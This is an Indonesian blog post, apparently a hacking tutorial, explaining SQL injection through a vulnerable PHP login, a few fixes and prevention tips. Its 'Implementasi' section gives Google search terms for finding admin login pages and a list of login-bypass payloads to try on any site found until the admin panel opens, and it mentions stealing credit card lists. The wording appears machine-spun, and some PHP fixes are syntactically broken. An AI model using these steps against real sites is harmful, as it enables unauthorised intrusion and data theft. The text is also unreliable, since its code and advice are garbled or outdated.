Penyebab Dan Tanggapan Terjadinya Sql Injection

Halo semua,, kali ini saya menshare sesuatu yang berbeda yaitu "Penyebab dan Akibat Terjadinya SQL Injection" semoga lebih variasi aja sih, kalo bikin tutorial deface kan saya juga harus punya sasaran dlu, sedangkan nyari sasaran itu ga simpel -_-. Ok simak aja materinya nya :)

Pengertian SQL Injection
1) SQL injection yaitu sebuah agresi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya memakai database untuk penyimpanan data.

Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap abjad – abjad tanda petik satu ’ dan juga abjad double minus -- yang menjadikan suatu aplikasi sanggup disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

Apakah Bug SQL Injection berbahaya ?

1. Teknik ini memungkinkan seseorang sanggup login kedalam sistem tanpa harus mempunyai account.
2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak sanggup memberi layanan kepada web server.
4. ketika si hacker berhasil upload shell kedalam web, si hacker akan sanggup melaksanakan apa saja dengan akomodasi yg dimiliki shellnya dan otak nya wkwkwk


Baca Juga :



Apa saja yang dibutuhkan untuk melaksanakan SQL Injection ?

1. Internet Exploler / Browser
2. PC yang terhubung internet
3. Program atau software menyerupai softice
4. And Your Brain :)

Contoh sintaks SQL Injection :
Contoh Syntax SQL dalam PHP
1. $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2. isikan password dengan string ’ or ’’ = ’
3. risikonya maka SQL akan menyerupai ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4. maka kita sanggup inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh Syntax lain :
1. Sintaks SQL string ‘-- sehabis nama username
2. Query database
3. SQL Injection melalui URL


Penanganan SQL Injection :
1. Merubah script php
2. Menggunakan MySQL_escape_string
3. Pemfilteran abjad ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang sanggup login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan abjad ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string
Merubah string yang mengandung abjad ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :


3. Pemfilteran abjad ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menjadikan string maupun abjad ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :


Contoh script yang membatasi abjad yang sanggup masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1. Masuk ke google atau browse yg lain
2. Masukkan salah satu keyword berikut :
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda sanggup menambahi sendiri sesuai harapan anda}


3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name dan password).
4. Masukkan isyarat berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda sanggup menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda sanggup mendapat daftar kredit card yang banyak.
6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7. Banyak variasi isyarat yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau sanggup dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

Cobalah hingga berhasil hingga anda sanggup masuk ke admin panel

Cara pencegahan SQL INJECTION :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di isyarat program, jadi si cracker pemula akan gundah sejenak melihat input box nya gak sanggup diinject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar menyerupai Stored Procedures, Extended Stored Procedures kalau memungkinkan.
5) Ubah "Startup and run SQL Server" memakai low privilege user di SQL Server Security tab.


Hacking yaitu seni. Hacking yaitu perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda mempunyai ketiga-tiganya Anda akan berhasil. Tetapi jangan jadikan Seni Hacking sebagai kejahatan karna intinya Hacking itu bukan kejahatan, tergantung bagaimana kita membawa/menggunakannya.


Tag : Hacking
Back To Top